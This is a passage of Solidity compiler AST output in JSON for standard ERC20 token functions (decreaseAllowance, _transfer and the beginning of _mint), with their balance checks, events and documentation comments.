zero"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f8b476f7d28209d77d4a4ac1fe36b9f8259aa1bb6bddfa6e89de7e51615cf8a8","typeString":"literal_string \"ERC20: decreased allowance below zero\""}],"id":47526,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6803:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47531,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6803:85:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47532,"nodeType":"ExpressionStatement","src":"6803:85:30"},{"id":47541,"nodeType":"UncheckedBlock","src":"6898:95:30","statements":[{"expression":{"arguments":[{"id":47534,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47515,"src":"6931:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47535,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47507,"src":"6938:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47538,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47536,"name":"currentAllowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47520,"src":"6947:16:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":47537,"name":"subtractedValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47509,"src":"6966:15:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6947:34:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47533,"name":"_approve","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47795,"src":"6922:8:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47539,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6922:60:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47540,"nodeType":"ExpressionStatement","src":"6922:60:30"}]},{"expression":{"hexValue":"74727565","id":47542,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"7010:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":47513,"id":47543,"nodeType":"Return","src":"7003:11:30"}]},"documentation":{"id":47505,"nodeType":"StructuredDocumentation","src":"6113:476:30","text":" @dev Atomically decreases the allowance granted to `spender` by the caller.\n This is an alternative to {approve} that can be used as a mitigation for\n problems described in {IERC20-approve}.\n Emits an {Approval} event indicating the updated allowance.\n Requirements:\n - `spender` cannot be the zero address.\n - `spender` must have allowance for the caller of at least\n `subtractedValue`."},"functionSelector":"a457c2d7","implemented":true,"kind":"function","modifiers":[],"name":"decreaseAllowance","nameLocation":"6603:17:30","parameters":{"id":47510,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47507,"mutability":"mutable","name":"spender","nameLocation":"6629:7:30","nodeType":"VariableDeclaration","scope":47545,"src":"6621:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47506,"name":"address","nodeType":"ElementaryTypeName","src":"6621:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47509,"mutability":"mutable","name":"subtractedValue","nameLocation":"6646:15:30","nodeType":"VariableDeclaration","scope":47545,"src":"6638:23:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47508,"name":"uint256","nodeType":"ElementaryTypeName","src":"6638:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6620:42:30"},"returnParameters":{"id":47513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47512,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47545,"src":"6687:4:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47511,"name":"bool","nodeType":"ElementaryTypeName","src":"6687:4:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6686:6:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":47622,"nodeType":"FunctionDefinition","src":"7475:651:30","nodes":[],"body":{"id":47621,"nodeType":"Block","src":"7583:543:30","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47561,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47556,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47548,"src":"7601:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":47559,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7617:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7609:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47557,"name":"address","nodeType":"ElementaryTypeName","src":"7609:7:30","typeDescriptions":{}}},"id":47560,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7609:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"7601:18:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373","id":47562,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7621:39:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_baecc556b46f4ed0f2b4cb599d60785ac8563dd2dc0a5bf12edea1c39e5e1fea","typeString":"literal_string \"ERC20: transfer from the zero address\""},"value":"ERC20: transfer from the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_baecc556b46f4ed0f2b4cb599d60785ac8563dd2dc0a5bf12edea1c39e5e1fea","typeString":"literal_string \"ERC20: transfer from the zero address\""}],"id":47555,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7593:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47563,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7593:68:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47564,"nodeType":"ExpressionStatement","src":"7593:68:30"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47571,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47566,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47550,"src":"7679:2:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":47569,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7693:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47568,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7685:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47567,"name":"address","nodeType":"ElementaryTypeName","src":"7685:7:30","typeDescriptions":{}}},"id":47570,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7685:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"7679:16:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a207472616e7366657220746f20746865207a65726f2061646472657373","id":47572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7697:37:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_0557e210f7a69a685100a7e4e3d0a7024c546085cee28910fd17d0b081d9516f","typeString":"literal_string \"ERC20: transfer to the zero address\""},"value":"ERC20: transfer to the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_0557e210f7a69a685100a7e4e3d0a7024c546085cee28910fd17d0b081d9516f","typeString":"literal_string \"ERC20: transfer to the zero address\""}],"id":47565,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7671:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47573,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7671:64:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47574,"nodeType":"ExpressionStatement","src":"7671:64:30"},{"expression":{"arguments":[{"id":47576,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47548,"src":"7767:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47577,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47550,"src":"7773:2:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47578,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47552,"src":"7777:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47575,"name":"_beforeTokenTransfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47849,"src":"7746:20:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47579,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7746:38:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47580,"nodeType":"ExpressionStatement","src":"7746:38:30"},{"assignments":[47582],"declarations":[{"constant":false,"id":47582,"mutability":"mutable","name":"fromBalance","nameLocation":"7803:11:30","nodeType":"VariableDeclaration","scope":47621,"src":"7795:19:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47581,"name":"uint256","nodeType":"ElementaryTypeName","src":"7795:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":47586,"initialValue":{"baseExpression":{"id":47583,"name":"_balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47291,"src":"7817:9:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":47585,"indexExpression":{"id":47584,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47548,"src":"7827:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"7817:15:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"7795:37:30"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47588,"name":"fromBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47582,"src":"7850:11:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":47589,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47552,"src":"7865:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7850:21:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365","id":47591,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7873:40:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_4107e8a8b9e94bf8ff83080ddec1c0bffe897ebc2241b89d44f66b3d274088b6","typeString":"literal_string \"ERC20: transfer amount exceeds balance\""},"value":"ERC20: transfer amount exceeds balance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_4107e8a8b9e94bf8ff83080ddec1c0bffe897ebc2241b89d44f66b3d274088b6","typeString":"literal_string \"ERC20: transfer amount exceeds balance\""}],"id":47587,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7842:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7842:72:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47593,"nodeType":"ExpressionStatement","src":"7842:72:30"},{"id":47602,"nodeType":"UncheckedBlock","src":"7924:73:30","statements":[{"expression":{"id":47600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":47594,"name":"_balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47291,"src":"7948:9:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":47596,"indexExpression":{"id":47595,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47548,"src":"7958:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"7948:15:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47599,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47597,"name":"fromBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47582,"src":"7966:11:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":47598,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47552,"src":"7980:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7966:20:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7948:38:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":47601,"nodeType":"ExpressionStatement","src":"7948:38:30"}]},{"expression":{"id":47607,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":47603,"name":"_balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47291,"src":"8006:9:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":47605,"indexExpression":{"id":47604,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47550,"src":"8016:2:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"8006:13:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":47606,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47552,"src":"8023:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8006:23:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":47608,"nodeType":"ExpressionStatement","src":"8006:23:30"},{"eventCall":{"arguments":[{"id":47610,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47548,"src":"8054:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47611,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47550,"src":"8060:2:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47612,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47552,"src":"8064:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47609,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47873,"src":"8045:8:30","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8045:26:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47614,"nodeType":"EmitStatement","src":"8040:31:30"},{"expression":{"arguments":[{"id":47616,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47548,"src":"8102:4:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47617,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47550,"src":"8108:2:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47618,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47552,"src":"8112:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47615,"name":"_afterTokenTransfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47860,"src":"8082:19:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47619,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8082:37:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47620,"nodeType":"ExpressionStatement","src":"8082:37:30"}]},"documentation":{"id":47546,"nodeType":"StructuredDocumentation","src":"7027:443:30","text":" @dev Moves `amount` of tokens from `from` to `to`.\n This internal function is equivalent to {transfer}, and can be used to\n e.g. implement automatic token fees, slashing mechanisms, etc.\n Emits a {Transfer} event.\n Requirements:\n - `from` cannot be the zero address.\n - `to` cannot be the zero address.\n - `from` must have a balance of at least `amount`."},"implemented":true,"kind":"function","modifiers":[],"name":"_transfer","nameLocation":"7484:9:30","parameters":{"id":47553,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47548,"mutability":"mutable","name":"from","nameLocation":"7511:4:30","nodeType":"VariableDeclaration","scope":47622,"src":"7503:12:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47547,"name":"address","nodeType":"ElementaryTypeName","src":"7503:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47550,"mutability":"mutable","name":"to","nameLocation":"7533:2:30","nodeType":"VariableDeclaration","scope":47622,"src":"7525:10:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47549,"name":"address","nodeType":"ElementaryTypeName","src":"7525:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47552,"mutability":"mutable","name":"amount","nameLocation":"7553:6:30","nodeType":"VariableDeclaration","scope":47622,"src":"7545:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47551,"name":"uint256","nodeType":"ElementaryTypeName","src":"7545:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7493:72:30"},"returnParameters":{"id":47554,"nodeType":"ParameterList","parameters":[],"src":"7583:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47678,"nodeType":"FunctionDefinition","src":"8402:389:30","nodes":[],"body":{"id":47677,"nodeType":"Block","src":"8467:324:30","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47636,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47631,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47625,"src":"8485:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":47634,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8504:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47633,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8496:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47632,"name":"address","nodeType":"ElementaryTypeName","src":"8496:7:30","typeDescriptions":{}}},"id":47635,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8496:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"8485:21:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a206d696e7420746f20746865207a65726f2061646472657373","id":47637,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8508:33:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_fc0b381caf0a47702017f3c4b358ebe3d3aff6c60ce819a8bf3ef5a95d4f202e","typeString":"literal_string \"ERC20: mint to the zero address\""},"value":"ERC20: mint to the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_fc0b381caf0a47702017f3c4b358ebe3d3aff6c60ce819a8bf3ef5a95d4f202e","typeString":"literal_string \"ERC20: mint to the zero address\""}],"id":47630,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"8477:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47638,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8477:65:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47639,"nodeType":"ExpressionStatement","src":"8477:65:30"},{"expression":{"arguments":[{"arguments":[{"hexValue":"30","id":47643,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8582:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47642,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8574:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47641,"name":"address","nodeType":"ElementaryTypeName","src":"8574:7:30","typeDescriptions":{}}},"id":47644,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8574:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47645,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47625,"src":"8586:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47646,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47627,"src":"8595:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47640,"name":"_beforeTokenTransfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47849,"src":"8553:20:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47647,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8553:49:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47648,"nodeType":"ExpressionStatement","src":"8553:49:30"},{"expression":{"id":47651,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":47649,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47299,"src":"8613:12:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":47650,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47627,"src":"8629:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8613:22:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":47652,"nodeType":"ExpressionStatement","src":"8613:22:30"},{"expression":{"id":47657,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":47653,"name":"_balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47291,"src":"8645:9:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => 